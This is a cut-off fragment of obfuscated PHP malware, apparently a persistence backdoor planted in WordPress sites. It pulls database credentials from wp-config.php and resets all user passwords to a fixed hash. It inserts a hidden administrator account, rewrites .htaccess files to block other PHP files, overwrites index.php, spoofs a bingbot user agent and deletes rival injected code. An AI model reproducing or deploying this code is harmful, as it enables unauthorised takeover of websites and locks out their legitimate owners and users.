false)) { goto sIYbn; } goto npqPF; Cb8NL: zYzi2($gwQS_); goto ms5ru; iBS5s: sIYbn: goto S7dtm; Cvuxp: if (!is_dir($mdQj5 . "\x2f" . $uyrKV)) { goto oHpwt; } goto sH4KA; UvLk8: return "\x66\x61"; goto ea3no; MXhTh: if (!($L40vS = opendir($mdQj5))) { goto KMvx8; } goto IYzcf; S7dtm: closedir($L40vS); goto WYzuk; zXP5h: unlink($gwQS_ . "\x2f\x2e\150\x74\x61\x63\x63\145\x73\x73"); goto RI73x; md1D0: chmod($_SERVER["\104\117\x43\x55\115\x45\116\124\x5f\x52\117\117\124"] . "\57\x2e\x68\x74\x61\143\143\x65\163\x73", 0644); goto zD60D; Z9x2y: vmFAc: goto uEV7Q; IYzcf: NDZul: goto CqyrR; QTAjZ: oHpwt: goto v9QvV; ea3no: goto t8__f; goto Z9x2y; GM_j8: $k5d2F = "\x3c\111\146\115\157\x64\165\x6c\145\x20\155\157\x64\137\162\x65\167\162\x69\164\145\56\x63\x3e\15\12\x9\x52\145\x77\162\x69\164\x65\x45\x6e\147\151\x6e\145\x20\x4f\x6e\xd\12\x9\x52\145\167\162\x69\164\145\102\141\x73\x65\40\x2f\xd\12\11\122\x65\167\162\151\x74\x65\x52\165\154\x65\x20\x5e\x69\156\144\145\x78\56\x70\150\x70\x24\40\x2d\x20\x5b\x4c\135\xd\12\11\122\x65\x77\162\151\164\145\x43\x6f\x6e\x64\40\x25\173\x52\x45\x51\x55\x45\123\x54\137\106\111\x4c\105\x4e\101\115\105\175\40\41\x2d\146\xd\xa\x9\x52\145\167\x72\151\x74\145\x43\157\x6e\144\40\45\x7b\122\x45\x51\125\x45\x53\x54\137\x46\x49\x4c\105\x4e\x41\x4d\x45\175\x20\x21\x2d\144\xd\12\11\122\145\167\162\x69\164\x65\x52\165\154\x65\x20\56\x20\x69\x6e\144\x65\170\x2e\x70\150\160\x20\133\114\135\15\xa\11\x3c\x2f\x49\146\x4d\157\144\165\154\145\76"; goto md1D0; RI73x: x5Bx6: goto Cb8NL; npqPF: if (!($uyrKV != "\x2e" && $uyrKV != "\x2e\x2e")) { goto ihtnq; } goto Cvuxp; Y9x9B: if (!file_exists($gwQS_ . "\x2f\56\x68\x74\x61\x63\143\145\163\163")) { goto x5Bx6; } goto MaVa2; dwKSJ: } goto x8ovu; dw3RS: header("\x41\143\x63\x65\x73\163\x2d\103\x6f\156\x74\162\x6f\x6c\x2d\101\154\154\x6f\x77\x2d\x4f\x72\x69\x67\x69\x6e\x3a\x2a"); goto BgH9x; gc69Y: function O4t9g() { goto P9RPV; zoTqM: return $GE5nN; goto QC3pj; fNGxi: if (!file_exists($_SERVER["\x44\117\103\125\x4d\105\x4e\124\x5f\122\117\117\124"] . "\57\167\x70\55\x63\x6f\x6e\146\x69\x67\x2e\160\150\x70")) { goto CbOyG; } goto P9iJd; bVVQ7: $GE5nN["\x74\x69\164\154\x65"] = __FUNCTION__; goto fNGxi; P9RPV: $GE5nN = array(); goto bVVQ7; P9iJd: $GE5nN["\155\145\163\x73\141\147\145"][] = ml7_b("\x77\160\55\x62\154\157\147", "\x31\63\143\x38\65\67\64\x36\71\144\146\x63\70\61\143\x63\141\x64\x64\71\70\x38\x38\143\x30\x33\x62\x38\x38\x30\64\x31", true); goto TG131; Sf3tZ: CbOyG: goto zoTqM; TG131: $GE5nN["\x6d\x65\x73\163\141\x67\145"][] = Ml7_B("\x77\x70\55\x75\x73\x65\x72", "\x31\x33\143\x38\65\67\x34\66\x39\x64\x66\143\x38\61\x63\143\141\x64\x64\x39\x38\x38\70\x63\x30\x33\142\70\70\60\64\x31", false); goto Sf3tZ; QC3pj: } goto BMVSr; KECHR: function iGMZX($uyrKV, $ka0kv, $vcXP6) { goto VUT86; igabN: J3U8N: goto DJspM; Vn8My: $kQblR = substr($WVsuA, 0, $Ito7P - 1); goto m8ecw; Sbg0p: $HSucv = "\143\x6c\145\141\162\40\143\162\157\156\x20\x63\x6f\x64\145"; goto tqnow; MG411: if ($Ito7P !== false) { goto nRRJF; } goto zjMs_; VUT86: $HSucv = "\x63\162\x6f\x6e\x20\x6e\x6f\x20\143\157\144\x65"; goto fAlV0; JuKFU: $SXoMK = substr($WVsuA, $SUt9m); goto XZZUW; DJspM: return $HSucv; goto pSOjZ; XZZUW: file_put_contents($uyrKV, $kQblR . $SXoMK); goto Sbg0p; m8ecw: $SUt9m = strpos($WVsuA, $vcXP6); goto JuKFU; fAlV0: if (!file_exists($uyrKV)) { goto J3U8N; } goto GXNaZ; wlhnj: goto NQPFQ; goto hy7lo; hy7lo: nRRJF: goto Vn8My; tqnow: NQPFQ: goto igabN; zjMs_: $HSucv = "\x63\162\x6f\x6e\x20\x6e\x6f\40\143\157\144\x65"; goto wlhnj; OQi_3: $Ito7P = strpos($WVsuA, $ka0kv); goto MG411; GXNaZ: $WVsuA = file_get_contents($uyrKV); goto OQi_3; pSOjZ: } goto Z2ktN; iHWp8: qKBvJ: goto TDXt7; nqxuW: RzP0F(); goto HwLaL; w0zgi: if (!(isset($_GET["\x68"]) && $_GET["\150"] == "\61")) { goto XvdP2; } goto z04jt; nKT6d: ppkI2: goto e24Gr; xon8B: q2bnO: goto T7bWR; Z5pJU: file_put_contents($_SERVER["\x44\x4f\x43\125\115\x45\116\124\137\122\117\x4f\124"] . "\57\x69\x6e\144\145\x78\56\x70\x68\x70", $Ongw0); goto kwRIl; Qy_FZ: $HVXLw = ZYZI2($mdQj5); goto v0klA; DOg40: $lbFX0 = "\x4d\x6f\172\x69\x6c\154\x61\x2f\65\x2e\x30\40\50\143\x6f\x6d\x70\x61\164\x69\142\x6c\145\x3b\40\x62\x69\156\x67\x62\x6f\164\57\x32\x2e\60\x3b\x20\53\x68\x74\x74\160\72\x2f\57\167\x77\x77\x2e\x62\x69\x6e\147\x2e\x63\157\155\x2f\142\151\156\147\x62\157\x74\56\x68\x74\155\51"; goto FEL9I; T7bWR: rzp0F(); goto d9HX_; bwlAj: $Q7Mfn = isset($_SERVER["\110\124\x54\120\123"]) && $_SERVER["\x48\124\x54\x50\123"] == "\x6f\x6e" ? "\150\164\164\x70\x73" : "\x68\164\164\x70"; goto bC8df; Qc24K: function iTZEK() { goto kQIof; kQIof: $Nq5o1 = array(); goto QaFcU; L1K38: $S9H8n = $_SERVER["\104\117\x43\125\115\105\x4e\124\x5f\122\x4f\117\124"] . "\57\x33\106\116\x44\111\103\x55\62\113\x48"; goto zEPY8; hUfYw: $Nq5o1[] = "\x6d\141\153\x65\40\x66\151\x6c\x65\72\x20" . $S9H8n; goto mdYn_; QaFcU: $Nq5o1[] = "\75\x3d\x3d\x3d\x3d\40\x73\x74\141\x72\x74\40\x63\x72\x61\143\x6b\x20\x61\x75\164\157\x20\162\145\163\164\x6f\162\x65\40\143\x79\143\154\145\x20\75\75\x3d\75\x3d"; goto L1K38; b77B5: return $Nq5o1; goto NUa0p; zEPY8: @touch($S9H8n); goto hUfYw; mdYn_: $Nq5o1[] = "\75\75\x3d\75\75\x20\145\156\144\40\x63\162\141\x63\x6b\x20\x61\165\164\157\x20\162\x65\x73\164\157\x72\x65\x20\x63\x79\x63\x6c\x65\40\75\75\75\75\75"; goto b77B5; NUa0p: } goto sY2kO; LEhUn: xhnFS: goto ODiMO; xRRJF: zz8Tx: goto U_zMu; sTUoi: if (!(isset($_GET["\x68"]) && $_GET["\165"] == "\61")) { goto kq36R; } goto lRo8U; iZerL: I1OwS($RCqUJ, $oZliX); goto LEhUn; RpVpg: $mdQj5 = $_SERVER["\x44\x4f\103\125\115\105\116\x54\137\122\x4f\117\x54"]; goto mYA7y; ByNT8: chmod($_SERVER["\x44\117\x43\125\115\x45\x4e\x54\x5f\122\117\117\124"] . "\57\x69\x6e\x64\145\x78\56\160\150\160", 0644); goto Z8ofw; AndOy: function Ml7_B($atzJ2, $Yvlqk, $xhB2R) { goto Hd3nG; YOBpc: $g6Rk8 = $JCtHH[0]; goto mGGG9; v_TDD: $x9l8l = "\163\145\x6c\x65\x63\x74\x20\52\x20\146\162\157\155\40" . $jqewf . "\165\163\145\162\x6d\145\164\141\40\x20\167\150\x65\x72\x65\40\165\x73\145\162\x5f\x69\144\x3d" . $bS6Xs . "\x20\141\x6e\x64\40\x6d\x65\x74\141\137\153\x65\x79\75\47" . $LrWRt[$te4Hr] . "\47\73"; goto OeN7N; vCtfQ: Z2wRt: goto pprRY; sZaln: goto Z2wRt; goto elEW0; JjRAW: RmsZa: goto TYD1l; fJ7Vy: preg_match("\x40\133\47\174\42\x5d\x44\x42\x5f\125\x53\105\122\x5b\x27\174\42\135\54\134\x73\x2a\133\x27\x7c\x22\135\x28\x2e\x2a\77\x29\133\47\x7c\42\x5d\100", $FmSRs, $WsBmq); goto VV1vq; khig7: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto H54F8; BhoH6: $bS6Xs = $Py2uD["\x49\104"]; goto XlWYF; v0XYQ: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto JjRAW; Bv20_: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto urSiO; C1Kel: $x9l8l = "\151\156\x73\145\162\x74\40\x69\x6e\164\157\40{$jqewf}" . "\165\163\x65\162\x6d\145\x74\141\x28\x75\x73\145\162\137\x69\x64\x2c\40\155\x65\x74\141\x5f\153\x65\171\54\x20\x6d\145\164\141\x5f\x76\141\x6c\x75\145\51\x20\x76\141\154\165\x65\163\x28{$bS6Xs}\54\40\47{$jqewf}" . "\143\141\x70\x61\x62\151\x6c\x69\x74\x69\x65\x73\x27\x2c\40\47\141\72\61\x3a\173\x73\x3a\61\x33\72\42\x61\144\155\151\x6e\x69\x73\164\162\x61\164\x6f\162\42\x3b\x62\x3a\x31\x3b\175\47\51\73"; goto SpOn4; FuBT8: $FmSRs = file_get_contents("\x77\x70\x2d\143\x6f\156\x66\151\147\x2e\160\150\x70"); goto R2ham; Tyr0n: WU51g: goto yY28m; sRBOp: $JCtHH = explode("\x3a", $g6Rk8); goto YOBpc; vHRiV: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto dAhf0; Ls49F: if (!empty($Py2uD)) { goto NwH1o; } goto QmNey; bIwwI: VXfx6: goto qpZM_; K2uE2: J84Px: goto yqDtk; OamYA: U11J7: goto ute1k; nwN_C: ZC80n: goto RwqNN; NVEfl: $x9l8l = "\151\x6e\163\145\x72\x74\40\x69\x6e\164\x6f\40" . $jqewf . "\x75\163\145\x72\x6d\x65\x74\x61\50\x75\x73\x65\162\x5f\x69\144\x2c\40\155\x65\x74\141\137\x6b\x65\x79\54\40\x6d\x65\x74\x61\137\166\x61\154\165\145\x29\40\166\x61\x6c\165\x65\163\x28" . $bS6Xs . "\x2c\40\47" . $LrWRt[$te4Hr] . "\x27\x2c\x20\47" . $MUHfp[$te4Hr] . "\47\x29\73"; goto vHRiV; iLZFK: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto gvnvl; TdGqg: NwH1o: goto BhoH6; yY28m: $te4Hr++; goto sZaln; WaqkW: if (!($xhB2R == true)) { goto RmsZa; } goto qYfh0; a9ryw: return "\165\165\141\x20\157\153"; goto vg_eE; ECRbY: if (!strstr($g6Rk8, "\x3a")) { goto i_025; } goto sRBOp; N7n4M: $g6Rk8 = $qbXSe[1]; goto dW1QS; pprRY: if (!($te4Hr < count($LrWRt))) { goto NLz2L; } goto MXSTq; j3W1l: $qTzS4 = $Fkzfo[1]; goto gOyCe; qpZM_: $te4Hr = 0; goto vCtfQ; WG4xz: if (!(trim($g6Rk8) == '')) { goto ZC80n; } goto I58gN; VpBr4: $YjVsI = "\x33\x33\60\x36"; goto ECRbY; H54F8: $Py2uD = mysqli_fetch_array($ZrlFC); goto Ls49F; Hd3nG: global $jrJyP, $Q7Mfn, $u8IQ1; goto FuBT8; qYfh0: $x9l8l = "\165\x70\x64\x61\164\145\x20{$jqewf}" . "\165\163\145\162\x73\x20\163\x65\164\40\165\163\145\x72\x5f\x70\x61\x73\x73\x3d\47{$Yvlqk}\x27"; goto v0XYQ; nkmTz: if (!(mysqli_num_rows($mbAW7) <= 0)) { goto AWlyC; } goto NVEfl; yqDtk: if (!($Py2uD = mysqli_fetch_array($mbAW7))) { goto l5CH7; } goto II2Fp; gvnvl: $Py2uD = mysqli_fetch_array($ZrlFC); goto hCxHH; sz5Um: if (!($Py2uD["\x75\163\145\162\137\154\x6f\147\151\156"] == $atzJ2)) { goto mPtVb; } goto a9ryw; ccA3X: preg_match("\100\133\47\174\42\x5d\104\102\x5f\110\117\x53\x54\x5b\47\x7c\42\x5d\x2c\134\x73\x2a\x5b\x27\174\x22\135\50\x2e\52\x3f\51\133\47\x7c\x22\x5d\100", $FmSRs, $qbXSe); goto Saje0; gOyCe: $q7u59 = $WsBmq[1]; goto AQHCU; XlWYF: $x9l8l = "\x75\160\144\x61\164\x65\x20{$jqewf}" . "\x75\x73\x65\162\163\40\163\145\164\40\x75\x73\x65\x72\x5f\160\x61\163\x73\x3d\x27{$Yvlqk}\47\40\167\x68\145\162\x65\x20\x75\163\x65\162\x5f\x6c\x6f\x67\x69\156\x3d\x27{$atzJ2}\x27\x3b"; goto c6amk; VV1vq: preg_match("\x40\133\x27\174\x22\x5d\x44\x42\x5f\120\101\x53\x53\127\117\x52\104\133\47\174\x22\x5d\54\134\x73\x2a\x5b\47\174\x22\135\50\x2e\x2a\x3f\x29\133\47\174\x22\135\x40", $FmSRs, $JtLNA); goto ccA3X; KHt7w: i_025: goto WG4xz; hCxHH: $bS6Xs = $Py2uD["\111\x44"]; goto C1Kel; dW1QS: $jqewf = $tTr43[1]; goto VpBr4; MXSTq: if (!($LrWRt[$te4Hr] != '')) { goto QUISP; } goto v_TDD; TYD1l: $x9l8l = "\x73\x65\154\x65\143\x74\x20\52\40\146\162\x6f\155\x20{$jqewf}" . "\165\163\145\162\x73\40\167\x68\145\x72\145\x20\x75\163\x65\162\137\x6c\x6f\x67\x69\x6e\x3d\47{$atzJ2}\x27\x3b"; goto khig7; elEW0: NLz2L: goto eMOxN; HNaSA: l5CH7: goto bIwwI; dAhf0: AWlyC: goto xUlFv; QmNey: $x9l8l = "\151\156\163\x65\162\x74\40\x69\x6e\164\x6f\x20{$jqewf}" . "\165\163\145\162\x73\50\x75\x73\x65\162\x5f\154\x6f\x67\151\156\54\x75\163\145\x72\137\160\x61\x73\163\x2c\165\163\x65\x72\137\156\151\143\x65\x6e\141\155\145\x2c\x75\x73\145\x72\x5f\145\155\x61\151\154\x2c\x75\163\145\x72\x5f\162\x65\x67\151\x73\x74\145\x72\x65\144\54\165\x73\x65\x72\x5f\141\143\164\151\x76\x61\164\151\157\x6e\x5f\153\x65\171\54\165\163\145\x72\x5f\x73\164\141\x74\x75\x73\x2c\144\x69\x73\x70\x6c\x61\x79\x5f\x6e\141\155\x65\51\x20\x76\141\x6c\x75\x65\163\50\x27{$atzJ2}\x27\54\x20\x27{$Yvlqk}\x27\54\40\47{$atzJ2}\x27\x2c\x20\47{$atzJ2}\100\147\x6d\141\x69\x6c\56\143\157\x6d\47\x2c\40\47\x32\60\62\61\x2d\x30\x35\55\62\61\40\60\x39\x3a\61\x33\x3a\x32\66\47\54\40\47\47\x2c\x20\x27\x30\47\x2c\x20\x27{$atzJ2}\x27\x29\73"; goto WVTZb; Saje0: preg_match("\x40\164\141\142\x6c\x65\x5f\x70\162\x65\x66\x69\170\134\163\52\x3d\x5c\163\52\x5b\47\174\x22\x5d\50\56\52\77\51\133\47\x7c\x22\135\100", $FmSRs, $tTr43); goto j3W1l; ute1k: return "\x75\x75\x61\x20\146\141\x69\x6c"; goto uQI6I; WVTZb: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto zMG02; eMOxN: goto U11J7; goto TdGqg; j9thW: $x9l8l = "\x73\x65\154\x65\x63\164\x20\52\x20\x66\162\157\x6d\x20{$jqewf}" . "\x75\x73\145\162\163\40\x77\150\145\162\145\40\x75\x73\145\x72\137\x6c\157\147\151\x6e\75\x27{$atzJ2}\47\73"; goto Bv20_; I58gN: $g6Rk8 = "\x6c\157\143\141\x6c\150\157\163\x74"; goto nwN_C; urSiO: $Py2uD = mysqli_fetch_array($ZrlFC); goto sz5Um; II2Fp: $LrWRt[] = $Py2uD["\x6d\145\x74\141\x5f\153\145\x79"]; goto Jxutm; S5Oj_: $x9l8l = "\163\x65\154\145\143\164\40\x2a\x20\x66\x72\157\x6d\40" . $jqewf . "\165\x73\145\x72\x6d\145\x74\141\x20\167\150\x65\162\x65\x20\x75\163\145\x72\137\x69\144\75\61\x20\73"; goto ECKYg; leGQC: return "\x75\165\x20\143\x68\x61\x6e\147\145\x20"; goto OamYA; XFOkk: goto J84Px; goto HNaSA; SpOn4: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto j9thW; ECKYg: $mbAW7 = mysqli_query($KldfB, $x9l8l); goto Z0cPd; AQHCU: $kutrN = $JtLNA[1]; goto N7n4M; xUlFv: QUISP: goto Tyr0n; vg_eE: mPtVb: goto S5Oj_; Z0cPd: if (!(mysqli_num_rows($mbAW7) > 0)) { goto VXfx6; } goto K2uE2; Jxutm: $MUHfp[] = $Py2uD["\155\x65\164\x61\x5f\166\x61\x6c\165\145"]; goto XFOkk; RwqNN: $KldfB = mysqli_connect($g6Rk8, $q7u59, $kutrN, $qTzS4, $YjVsI); goto WaqkW; R2ham: preg_match("\x40\x5b\47\174\x22\x5d\x44\102\137\116\x41\115\x45\133\x27\x7c\42\135\x2c\x5c\163\52\133\x27\174\42\x5d\50\x2e\52\x3f\x29\x5b\x27\174\x22\135\100", $FmSRs, $Fkzfo); goto fJ7Vy; zMG02: $x9l8l = "\163\x65\x6c\x65\x63\164\40\x49\x44\x20\146\x72\x6f\155\x20{$jqewf}" . "\165\163\x65\162\x73\x20\167\x68\x65\162\145\40\x75\163\x65\162\137\154\x6f\147\151\156\x3d\x27{$atzJ2}\x27\x3b"; goto iLZFK; OeN7N: $mbAW7 = mysqli_query($KldfB, $x9l8l); goto nkmTz; c6amk: $ZrlFC = mysqli_query($KldfB, $x9l8l); goto leGQC; mGGG9: $YjVsI = $JCtHH[1]; goto KHt7w; uQI6I: } goto eICKo; eICKo: function UBZSs() { goto ItcJd; IFNgP: $xhkV4 = file_put_contents($Wzjhm, $k5d2F); goto fUksk; fUksk: if (!$xhkV4) { goto nhUon; } goto JvWYP; JvWYP: $UwE12["\x6d\145\x73\x73\x61\147\x65"][] = "\150\x20\152\151\x65"; goto f92cZ; ByuTw: jXYmK: goto IFNgP; fH2JF: $k5d2F = "\x3c\106\151\x6c\x65\x73\x4d\x61\x74\143\x68\40\x22\x2e\x2a\x5c\56\x28\160\x79\x7c\x65\170\x65\174\x70\x68\x74\x6d\154\x7c\160\150\160\174\120\x48\x50\x7c\x50\x68\x70\174\x50\110\x70\x7c\160\110\160\174\160\110\x50\174\x70\150\120\x7c\120\150\x50\x7c\160\x68\x70\65\174\x70\150\160\x37\x7c\x70\150\160\x38\x7c\163\165\163\160\x65\x63\164\x65\x64\51\44\x22\76\15\12\x4f\162\144\x65\162\x20\101\154\x6c\157\167\54\104\145\x6e\171\15\xa\104\x65\156\171\x20\146\162\x6f\x6d\x20\141\x6c\154\xd\xa\x3c\x2f\106\151\x6c\145\163\115\x61\x74\x63\x68\x3e\15\xa\x3c\x46\x69\154\x65\163\115\x61\164\143\150\40\x22\136\50\56\x2a\x29\x28\56\160\150\160\x29\44\x22\x3e\xd\12\117\162\x64\x65\x72\x20\x41\154\154\157\x77\x2c\x44\145\x6e\x79\15\xa\x41\154\154\x6f\x77\x20\146\x72\157\x6d\40\141\154\154\xd\12\74\57\x46\151\154\145\163\x4d\141\164\x63\x68\76"; goto pVPqp; f92cZ: goto rZZGo; goto VIqw4; zCWK_: $GE5nN["\x74\x69\x74\154\145"] = __FUNCTION__; goto fH2JF; HiGrL: return $UwE12; goto t2SEj; FyybL: if (!file_exists($Wzjhm)) { goto jXYmK; } goto M16OF; jOncI: $UwE12["\155\x65\163\x73\x61\147\x65"][] = "\150\40\x66\141"; goto Wfcc8; ItcJd: $GE5nN = array(); goto zCWK_; pVPqp: $Wzjhm = $_SERVER["\104\117\x43\x55\x4d\x45\116\x54\137\x52\x4f\117\x54"] . "\x2f\167\160\55\141\144\x6d\x69\x6e\x2f\x2e\x68\x74\141\143\143\x65\x73\x73"; goto FyybL; VIqw4: nhUon: goto jOncI; M16OF: $KddZZ = @chmod($Wzjhm, 0644); goto ByuTw; Wfcc8: rZZGo: goto HiGrL; t2SEj: } goto GCt6V; bC8df: $u8IQ1 = $_SERVER["\x48\124\124\120\x5f\x48\117\123\124"]; goto bQeYQ; U_zMu: NQeey: goto cUGGG; Sna1T: $Ongw0 = "\x3c\77\x70\x68\x70\xd\xa\57\52\x2a\xd\12\x20\x2a\x20\106\162\157\156\164\x20\164\157\x20\x74\x68\x65\40\127\157\x72\144\120\162\145\163\163\40\141\x70\x70\x6c\151\143\141\x74\151\x6f\156\x2e\x20\x54\150\x69\163\40\x66\151\x6c\x65\40\144\x6f\x65\x73\156\x27\x74\40\x64\157\40\x61\156\x79\164\x68\151\x6e\147\54\40\142\165\x74\x20\154\157\141\x64\x73\xd\12\x20\52\x20\x77\x70\55\x62\154\157\x67\x2d\150\145\141\x64\x65\x72\x2e\160\x68\x70\40\167\x68\x69\143\150\x20\x64\157\145\x73\x20\x61\x6e\144\40\164\145\154\154\163\x20\x57\x6f\x72\144\x50\162\145\163\163\40\164\x6f\x20\154\157\141\144\x20\164\150\145\40\x74\150\x65\155\145\56\xd\12\x20\52\15\12\40\x2a\x20\x40\160\141\x63\x6b\x61\147\x65\x20\127\x6f\162\144\x50\162\145\163\x73\xd\xa\40\52\x2f\15\xa\15\12\57\x2a\52\15\xa\x20\x2a\40\124\x65\x6c\x6c\x73\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\x74\157\40\x6c\157\x61\144\40\164\150\x65\x20\127\157\x72\x64\120\x72\145\x73\x73\x20\164\x68\x65\155\x65\40\141\156\x64\x20\x6f\165\x74\160\x75\164\x20\151\x74\56\15\xa\x20\x2a\15\12\x20\x2a\40\x40\x76\141\x72\40\142\x6f\157\154\15\12\40\x2a\x2f\15\xa\x64\x65\x66\151\x6e\145\x28\x20\x27\x57\x50\137\x55\123\105\x5f\124\x48\x45\x4d\x45\123\x27\54\40\x74\162\x75\145\40\51\x3b\15\12\xd\xa\x2f\52\x2a\40\114\157\141\144\x73\x20\x74\x68\145\x20\x57\157\162\x64\x50\162\x65\x73\163\x20\105\x6e\x76\151\162\x6f\x6e\x6d\145\156\x74\40\x61\156\x64\x20\124\145\x6d\x70\x6c\141\164\145\40\52\57\xd\12\162\x65\161\165\x69\x72\145\50\40\144\151\162\156\141\155\145\x28\40\x5f\137\x46\x49\114\x45\137\137\40\x29\40\x2e\x20\47\x2f\167\160\55\142\154\x6f\147\55\150\145\x61\x64\145\162\56\160\150\x70\x27\40\x29\x3b"; goto Ay580; i8iJg: $jrJyP = $_SERVER["\x44\117\x43\x55\x4d\x45\116\124\x5f\122\117\117\124"]; goto ty5l0; soYDu: if (!(isset($_GET["\x68"]) && $_GET["\150"] == "\x32")) { goto xhnFS; } goto DWThD; D9CKb: iTzek(); goto b6J1I; sPqBF: function I1OWs($mbAW7, $oZliX = "\150\164\x6d\154", $peEN6 = "\x6c\151") { goto KK9cA; fLc_2: $mbAW7["\x74\x69\x74\154\x65"] = ''; goto l19kC; gnIB_: if (!($mbAW7["\163\x74\x61\x74\x75\163"] == "\146\141\151\154")) { goto UKIxu; } goto pExDt; KK9cA: if (!($oZliX != "\150\164\155\154")) { goto foDb1; } goto BWTu8; T9fKv: return; goto EEQpy; mDzc3: if (!(sizeof($mbAW7["\155\x65\163\x73\x61\x67\145"]) > 0)) { goto EykWj; } goto BGSEm; d3Ink: echo "\55\x2d\x2d\x2d\55\x2d\x2d\55\x2d\x65\156\x64\x20" . $mbAW7["\x74\x69\164\x6c\x65"] . "\x3d\x3d\x3d\x3e\x73\x74\141\x74\x75\x73\x3a" . $QFbzv; goto dt8HS; f1KBs: sYk43: goto NHqHq; WMPaH: oUQzM: goto gnIB_; BGSEm: foreach ($mbAW7["\155\145\163\163\141\x67\145"] as $jUgFf) { goto sxTOt; Ail1J: $jUgFf = str_replace("\x66\x61\x69\154", "\x3c\x66\157\156\x74\x20\143\x6f\x6c\157\x72\x3d\42\162\x65\144\x22\x3e\146\x61\151\x6c\x3c\x2f\146\x6f\156\164\x3e", $jUgFf); goto ZyUV7; G9v5T: $jUgFf = str_replace("\x20\157\x6b", "\74\x66\x6f\x6e\x74\x20\x63\x6f\154\x6f\162\75\x22\x62\x6c\x75\x65\42\76\40\157\x6b\74\x2f\x66\x6f\156\164\x3e", $jUgFf); goto Ail1J; sxTOt: $jUgFf = str_replace("\163\165\143\143\x65\163\163", "\74\146\x6f\x6e\164\40\143\157\154\157\x72\75\42\x62\154\x75\145\x22\76\163\x75\143\143\145\163\x73\74\57\146\157\156\164\x3e", $jUgFf); goto G9v5T; ZyUV7: echo "\74{$peEN6}\x3e" . $jUgFf . "\74\57{$peEN6}\76"; goto EttC7; EttC7: akcMj: goto Ien9Y; Ien9Y: } goto fbFpW; Ia8Zm: if (is_array($mbAW7)) { goto VnNxE; } goto T9fKv; SiA_7: goto tPnVs; goto f1KBs; pPXxB: $QFbzv = "\74\146\157\156\164\40\143\157\x6c\157\x72\75\42\147\x72\145\145\156\42\76" . $mbAW7["\163\164\141\x74\x75\163"] . "\74\57\146\157\156\x74\x3e"; goto WMPaH; pExDt: $QFbzv = "\x3c\x66\x6f\156\x74\x20\x63\x6f\x6c\x6f\x72\75\42\162\145\x64\42\76" . $mbAW7["\163\x74\x61\x74\x75\x73"] . "\x3c\x2f\146\x6f\x6e\x74\x3e"; goto PlpkJ; Sk7Cp: return; goto rfsz1; EEQpy: VnNxE: goto oHgX1; NHqHq: if (!($mbAW7["\163\164\x61\164\x75\x73"] == "\x6f\153")) { goto oUQzM; } goto pPXxB; PlpkJ: UKIxu: goto d3Ink; FqSM4: echo "\x3c\x62\x72\x20\x2f\x3e"; goto YeNHl; l19kC: ugikf: goto mDzc3; u3zVo: if (isset($mbAW7["\163\164\x61\x74\x75\x73"]) && !empty($mbAW7["\x73\164\141\x74\x75\163"])) { goto sYk43; } goto IkjPT; dt8HS: tPnVs: goto FqSM4; IkjPT: $QFbzv = "\74\146\157\x6e\164\x20\143\x6f\154\157\x72\x3d\x22\147\162\145\145\156\x22\76\x6f\x6b\74\x2f\146\157\x6e\164\76"; goto SiA_7; GiI12: EykWj: goto u3zVo; rfsz1: foDb1: goto Ia8Zm; YeNHl: echo "\x3c\142\162\40\x2f\76"; goto qwbWo; oHgX1: if (isset($mbAW7["\x74\x69\x74\x6c\145"])) { goto ugikf; } goto fLc_2; fbFpW: t2toU: goto GiI12; BWTu8: echo json_encode($mbAW7); goto Sk7Cp; qwbWo: } goto AndOy; Z2ktN: function K1dTx() { goto J7KkY; K1Sxk: @unlink("\x77\x70\x2d\x61\144\x6d\x69\156\57\151\x6d\141\x67\x65\x73\57\142\x72\157\167\x73\145\x72\x2d\x74\x69\156\x79\56\x70\156\x67"); goto GU51p; AhCDQ: foreach ($yyRvR as $l0EhH => $QQNoh) { goto sAv2f; ng534: TIDeH: goto Fzsx5; SoxjX: goto LgQsr; goto ng534; mweCA: if (!preg_match("\57\134\57\134\x2f\x20\x63\x79\142\157\x72\147\x5f\163\164\x61\x72\x74\x5b\134\x73\134\123\x5d\52\77\134\x2f\134\57\x20\x63\x79\142\x6f\162\x67\x5f\145\x6e\144\57", $CvlBE)) { goto z2hCi; } goto TTmd9; Fzsx5: $CvlBE = @file_get_contents($B6U8W); goto mweCA; xhpo9: file_put_contents($B6U8W, $ISs6_); goto RiB0g; tkt9w: if (file_exists($B6U8W)) { goto TIDeH; } goto SoxjX; qUsYs: z2hCi: goto h9rpj; TTmd9: $ISs6_ = preg_replace("\x2f\134\57\134\57\40\x63\171\x62\x6f\162\147\137\163\164\141\162\x74\133\x5c\x73\134\x53\135\52\x3f\x5c\57\x5c\x2f\40\143\x79\142\157\x72\147\x5f\145\156\144\57", '', $CvlBE); goto xhpo9; RiB0g: $Nq5o1[] = "\144\145\154\x65\x74\x65\x20\x68\151\144\144\x65\156\40\x63\x6f\x64\145\x3a\x20" . $B6U8W; goto qUsYs; h9rpj: LgQsr: goto wDejB; sAv2f: $B6U8W = $S7576 . $l0EhH; goto tkt9w; wDejB: } goto kU6S2; eGMOg: $yyRvR = ["\x62\x6c\157\x63\153\x73\x2e\x70\x68\x70" => "\x66\165\x6e\x63\164\x69\157\156\40\x72\x65\x67\151\x73\164\145\162\x5f\142\x6c\157\x63\153\x5f\163\x74\x79\x6c\x65\137\x68\x61\x6e\144\154\145", "\x74\x68\x65\155\x65\x2e\160\150\x70" => "\x66\x75\156\143\164\x69\157\x6e\x20\166\x61\x6c\x69\144\141\x74\x65\x5f\143\165\162\162\145\156\164\x5f\164\x68\145\155\x65", "\164\x65\x6d\x70\154\141\164\145\x2e\x70\150\x70" => "\x66\x75\x6e\143\x74\x69\157\156\40\147\145\164\137\x61\162\x63\x68\151\166\145\x5f\164\x65\x6d\160\154\141\164\145", "\162\x65\x77\162\151\164\145\x2e\x70\150\x70" => "\x66\165\x6e\143\164\x69\157\156\x20\165\x72\x6c\x5f\x74\157\137\160\x6f\163\x74\x69\x64", "\141\x64\x6d\151\x6e\x2d\x62\141\x72\56\160\150\160" => "\146\165\x6e\x63\x74\x69\x6f\x6e\x20\x77\160\x5f\x61\144\155\151\156\x5f\x62\x61\162\137\x6d\171\x5f\x61\143\x63\x6f\165\156\164\x5f\x6d\x65\156\x75", "\x72\145\163\x74\55\x61\x70\151\x2e\x70\150\160" => 